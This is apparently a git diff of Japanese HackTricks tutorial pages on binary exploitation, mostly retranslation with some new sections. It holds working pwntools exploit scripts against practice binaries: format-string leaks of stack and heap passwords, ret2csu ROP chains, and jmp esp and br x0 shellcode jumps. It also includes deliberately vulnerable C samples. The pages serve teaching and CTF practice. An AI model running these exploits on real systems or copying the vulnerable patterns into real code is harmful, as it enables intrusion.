+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する -## コード +## バイナリの読み取り開始 + +### コード +```c +#include + +int main(void) { +char buffer[30]; + +fgets(buffer, sizeof(buffer), stdin); + +printf(buffer); +return 0; +} +``` +コンパイル方法: +```python +clang -o fs-read fs-read.c -Wno-format-security -no-pie +``` +### 攻撃 +```python +from pwn import * + +p = process('./fs-read') + +payload = f"%11$s|||||".encode() +payload += p64(0x00400000) + +p.sendline(payload) +log.info(p.clean()) +``` +* **オフセットは11** です。いくつかのAを設定し、ループでオフセットを0から50まで試行した結果、オフセット11で追加の5文字(今回はパイプ`|`)を使用すると、完全なアドレスを制御できることがわかりました。 +* 私は**`%11$p`**を使用し、アドレスがすべて0x4141414141414141であることを確認しました。 +* **フォーマット文字列ペイロードはアドレスの前に配置**されます。なぜなら**printfはヌルバイトで読み取りを停止**するため、アドレスを送信してからフォーマット文字列を送信すると、printfはフォーマット文字列に到達することができません。 +* 選択したアドレスは0x00400000です。これはバイナリの開始地点であり(PIEなし)、そのため選択しました。 + + + +## パスワードを読む ```c #include #include @@ -51,7 +89,7 @@ clang -o fs-read fs-read.c -Wno-format-security ``` ### スタックから読み取る -**`stack_password`** はローカル変数なので、スタックに保存されます。そのため、printfを悪用してスタックの内容を表示するだけで十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置をBFするエクスプロイトです。 +**`stack_password`** はローカル変数であるため、スタックに格納されます。そのため、単に printf を悪用してスタックの内容を表示すれば十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置にBFを悪用するエクスプロイトです。 ```python from pwn import * @@ -64,35 +102,87 @@ output = p.clean() print(output) p.close() ``` -画像では、スタックから`10番目`の位置にあるパスワードを漏洩させることが可能であることがわかります。 - - - - - -同じエクスプロイトを実行するが、`%s`の代わりに`%p`を使用すると、スタックからヒープアドレスを漏洩させることが可能であり、そのアドレスは`%5$p`にあります。 - - - - +画像では、スタックからパスワードを`10番目`の位置から漏洩させることができることがわかります: -漏洩したアドレスとパスワードのアドレスとの違いは次の通りです: + + +### データの読み取り + +同じエクスプロイトを実行するが、`%s`の代わりに`%p`を使用すると、スタックからヒープアドレスを`%25$p`で漏洩させることができます。さらに、プロセス内のメモリ内のパスワードの位置と漏洩したアドレス(`0xaaaab7030894`)を比較することで、アドレスの差を取得できます: + + + +これで、スタック内の1つのアドレスを制御して、2番目のフォーマット文字列の脆弱性からアクセスする方法を見つける時が来ました: +```python +from pwn import * + +def leak_heap(p): +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) + +for i in range(30): +p = process("./fs-read") + +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") + +password_addr = heap_leak_addr - 0x126a + +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" + +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` -> print 0xaaaaaaac12b2 - 0xaaaaaaac0048 -$1 = 0x126a +そして、使用されたパッチングで**try 14**でアドレスを制御できることがわかります。 +```python +from pwn import * + +p = process("./fs-read") + +def leak_heap(p): +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) + +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") + +# Offset calculated from the leaked position to the possition of the pass in memory +password_addr = heap_leak_addr + 0x1f7bc + +print(f"Calculated address is: {hex(password_addr)}") + +# At offset 14 we can control the addres, so use %s to read the string from that address +payload = f"%14$s|||".encode() +payload += p64(password_addr) + +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` + + -AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 1b188b5ba..a56596d02 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,13 +4,13 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 @@ -18,13 +18,13 @@ HackTricksをサポートする他の方法: ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報 -**ret2csu**は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための**ガジェット**が見つからない場合に使用されるハッキング技術です。 +**ret2csu** は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための **ガジェット** を見つけることができない場合に使用されるハッキングテクニックです。 -プログラムが特定のライブラリ(例:libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に`__libc_csu_init`と呼ばれる1つの隠れた宝石として機能するものがあります。 +プログラムが特定のライブラリ(例: libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる1つの隠れた宝石として機能するものがあります。 -### \_\_libc\_csu\_initのマジックガジェット +### \_\_libc\_csu\_init にあるマジックガジェット -**`__libc_csu_init`**には、強調すべき2つの命令シーケンス(ガジェット)があります: +**`__libc_csu_init`** には、強調すべき2つの命令シーケンス(ガジェット)があります: 1. 最初のシーケンスでは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定できます。これらは、後で使用する数値やアドレスを格納できるスロットのようなものです。 ```armasm @@ -36,18 +36,18 @@ pop r14; pop r15; ret; ``` -このガジェットを使用すると、スタックから値をポップしてそれらを使用してこれらのレジスタを制御できます。 +このガジェットを使用すると、スタックから値をポップしてそれらをレジスタで制御できます。 -2. 2番目のシーケンスでは、設定した値を使用して次のことを行います: -* **特定の値を他のレジスタに移動**して、それらを関数のパラメータとして使用できるようにします。 -* r15とrbxの値を足し合わせて、rbxを8倍にした場所に**コールを実行**します。 +2. 2番目のシーケンスでは、設定した値を使用して次のことを行います: +* **他のレジスタに特定の値を移動**して、それらを関数のパラメータとして使用できるようにします。 +* r15とrbxの値を足し合わせ、その後rbxを8倍して決定される場所に**コールを実行**します。 ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -2. もしかしたら、そこに書き込むアドレスがわからず、`ret` 命令が必要になるかもしれません。2番目のガジェットも `ret` で終わりますが、それに到達するためにはいくつかの条件を満たす必要があります: +2. もしかしたら、そこに書き込むアドレスがわからず、`ret` 命令が必要になるかもしれません。2番目のガジェットも `ret` で終わりますが、到達するためにはいくつかの条件を満たす必要があります。 ```armasm mov rdx, r15; mov rsi, r14; @@ -59,10 +59,10 @@ jnz ... ret ``` -次の条件が必要です: +以下は条件です: -- `[r12 + rbx*8]` は、呼び出し可能な関数を指すアドレスを指している必要があります(アイデアがなく、PIEもない場合は、単に `_init` 関数を使用できます)。 -- もし `_init` が `0x400560` にある場合、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がそのポインタを持つアドレスになるようにします。 +- `[r12 + rbx*8]` は、呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIE もない場合は、単に `_init` 関数を使用できます): +- もし `_init` が `0x400560` にある場合は、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がポインタを持つアドレスであるようにします: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -72,16 +72,16 @@ gef➤ search-pattern 0x400560 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` -* `rbp` と `rbx` は同じ値を持っている必要がありますジャンプを回避するため -* 考慮すべき省略されたポップがいくつかあります +* `rbp` と `rbx` は同じ値を持たなければジャンプを回避できない +* 考慮すべき省略されたポップがいくつかある ## RDI と RSI ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです: -https://www.scs.stanford.edu/brop/bittau-brop.pdf +https://www.scs.stanford.edu/brop/bittau-brop.pdf -詳細については、このページをチェックしてください: +詳細についてはこのページをチェックしてください: {% content-ref url="brop-blind-return-oriented-programming.md" %} [brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md) @@ -91,12 +91,12 @@ ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方 ### コールの使用 -システムコールを行い、または `write()` のような関数を呼び出したいとしますが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。 +システムコールを行い、`write()` のような関数を呼び出したいとしますが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想定してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。 ここで **ret2csu** が登場します: -1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。 -2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。 +1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に格納します。 +2. **第二のガジェットの使用**: これらのレジスタが設定されたら、第二のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。 [**このテクニックを使用して説明した例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) があり、それに使用された最終的なエクスプロイトは次のとおりです: ```python @@ -123,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} -前のエクスプロイトは **`RCE`** を行うためではなく、単に `win` という関数を呼び出すことを意図しています(`win` のアドレスを stdin から取得し、ROP チェーン内の gets を呼び出して r15 に格納します)。3番目の引数に値 `0xdeadbeefcafed00d` を指定しています。 +前のエクスプロイトは**`RCE`**を行うためではなく、単に`win`という関数を呼び出すことを意図しています(`win`のアドレスをROPチェーン内のgetsでstdinから取得し、r15に格納します)。3番目の引数に値`0xdeadbeefcafed00d`を指定して`win`関数を呼び出します。 {% endhint %} -### コールをバイパスして ret に到達する +### 呼び出しをバイパスしてretに到達する -次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) から抽出されました。ここでは **ret2csu** が使用されていますが、コールの代わりに **比較をバイパスして `ret` に到達**しています。 +次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)から抽出されました。ここでは**ret2csu**が使用されていますが、呼び出しではなく、比較をバイパスして呼び出し後の`ret`に到達しています。 ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -180,4 +180,4 @@ target.interactive() ``` ### なぜ直接libcを使用しないのですか? -通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、**時にはlibcで直接見つけることが困難なガジェットを使用して制御する必要がある**場合もあります。たとえば、`write()` 関数は3つのパラメータが必要であり、これらを直接設定するためのガジェットを見つけることができないことがあります。 +通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、**直接libcで見つかるガジェットだけでは制御する必要があるパラメーターが多すぎる場合**があります。たとえば、`write()` 関数には3つのパラメーターが必要であり、これらを直接設定するためのガジェットを見つけることができないことがあります。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 11c5ebf80..01e315dd9 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,13 +4,13 @@ AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 @@ -18,7 +18,7 @@ HackTricksをサポートする他の方法: **ESP(スタックポインタ)は常にスタックの先頭を指すため**、このテクニックはEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードが上書きされたEIPの直後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、つまりシェルコードが格納されている場所を指します。 -WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかる`jmp esp`または`call esp`命令を使用することが可能です。ただし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を脆弱なプログラム自体で探す必要があるかもしれません(かつ[**PIE**](../common-binary-protections-and-bypasses/pie/)を打破する必要があるかもしれません)。 +WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかる`jmp esp`または`call esp`命令を使用することが可能です。ただし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を脆弱なプログラム内で探す必要があります(かつ[**PIE**](../common-binary-protections-and-bypasses/pie/)を打破する必要があるかもしれません)。 さらに、シェルコードを**EIPの破損後に配置**できることは、スタックの中央ではなく後ろに配置することを意味し、関数の動作中に実行される`push`または`pop`命令がシェルコードに干渉しないようにします。シェルコードが関数のスタックの中央に配置された場合、この干渉が発生する可能性があります。 @@ -53,7 +53,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -別のこのテクニックの例を[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`jmp esp;`がシェルコードにジャンプします。 +別のこの技術の例を[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`jmp esp;`がシェルコードにジャンプします。 ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -90,7 +90,7 @@ target.interactive() ``` ## Ret2reg -同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、**`call eax`**または**`jmp eax`**命令(**ret2eax**テクニックとして知られています)を活用することができ、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む**他のレジスタ**を使用することもできます(**ret2reg**)。 +同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られています)を利用して、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む**他のレジスタ**を使用することもできます(**ret2reg**)。 ### 例 @@ -98,13 +98,13 @@ target.interactive() * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) -* **`strcpy`**は、シェルコードが格納されているバッファのアドレスを**`eax`**に格納し、**`eax`**が上書きされていないため、`ret2eax`を使用することが可能です。 +* **`strcpy`** は、シェルコードが格納されているバッファのアドレスを **`eax`** に格納し、**`eax`** が上書きされていないため、`ret2eax` を使用することが可能です。 ## ARM64 ### Ret2sp -ARM64では、**SPレジスタにジャンプする**命令は**存在しません**。SPをレジスタに移動させ、その後そのレジスタにジャンプするガジェットを見つけることが可能かもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。 +ARM64では、**SPレジスタにジャンプする**命令は存在しません。**SPをレジスタに移動させ、その後そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。 ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; @@ -112,13 +112,13 @@ done ``` {% endcode %} -見つけた唯一のものは、ジャンプする前にコピーされたspのレジストリの値を変更するものでした(そのため、それは無効になります): +見つけた唯一のものは、sp がコピーされるレジストリの値を変更してからジャンプするものでした(そのため、それは無効になります): - + ### Ret2reg -もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます: +もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます: {% code overflow="wrap" %} ```bash @@ -126,9 +126,9 @@ ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0 ``` {% endcode %} -ARM64では、関数の戻り値は**`x0`**に格納されるため、x0がユーザーによって制御されるバッファのアドレスを格納している可能性があり、それにはシェルコードが含まれています。 +ARM64では、関数の戻り値は**`x0`**に格納されるため、x0がユーザーによって制御されたバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。 -例のコード: +例のコード: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -153,15 +153,15 @@ do_stuff(2) return 0; } ``` -関数の逆アセンブリをチェックすると、**バッファのアドレス**(bofに対して脆弱であり、**ユーザーによって制御されている**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります: +関数の逆アセンブリをチェックすると、**バッファへのアドレス**(bofに脆弱であり、**ユーザーによって制御されている**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります: - + -また、**`do_stuff`** 関数内でガジェット **`br x0`** を見つけることも可能です: +また、**`do_stuff`** 関数内で **`br x0`** ガジェットを見つけることも可能です: - + -バイナリが**PIEなしでコンパイル**されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、**バッファオーバーフローのオフセットが80**であることがわかります。したがって、攻撃手法は次のとおりです: +バイナリが**PIEなしでコンパイル**されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、**バッファオーバーフローのオフセットが80**であることがわかります。したがって、エクスプロイトは次のようになります: ```python from pwn import * @@ -177,13 +177,13 @@ p.sendline(payload) p.interactive() ``` {% hint style="warning" %} -もし`fgets`の代わりに**`read`**のようなものが使われていた場合、**戻り値アドレスの最後の2バイトだけを上書きして**、完全なアドレスを知らなくても`br x0;`命令に戻ることが可能で、PIEをバイパスすることができました。\ -`fgets`では、**末尾にヌル(0x00)バイトが追加**されるため、うまくいきません。 +もし`fgets`の代わりに**`read`**のようなものが使われていたら、PIEをバイパスすることが可能であり、**リターンアドレスの最後の2バイトのみを上書き**して、完全なアドレスを知る必要なく`br x0;`命令に戻ることができたでしょう。\ +`fgets`では、それが**末尾にヌル(0x00)バイトを追加**するため、うまくいきません。 {% endhint %} ## 保護 -* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行不可の場合、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。 +* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行不可であれば、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。 * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは、espや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。 ## 参考文献 @@ -193,14 +193,14 @@ p.interactive() -htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で **ゼロからヒーローまでAWSハッキングを学びましょう** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる +* [**公式PEASS & HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index f948e138d..225504578 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -4,28 +4,28 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する ## **基本情報** -**Ret2Libc**の本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ(たとえば**system**、**execve**、**strcpy**など)内の関数にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更すると同時に、呼び出し規約に従って必要な引数を適切に設定するように配置します。 +**Ret2Libc**の本質は、脆弱なプログラムの実行フローを、スタック上の攻撃者提供のシェルコードを実行する代わりに、共有ライブラリ内の関数(たとえば 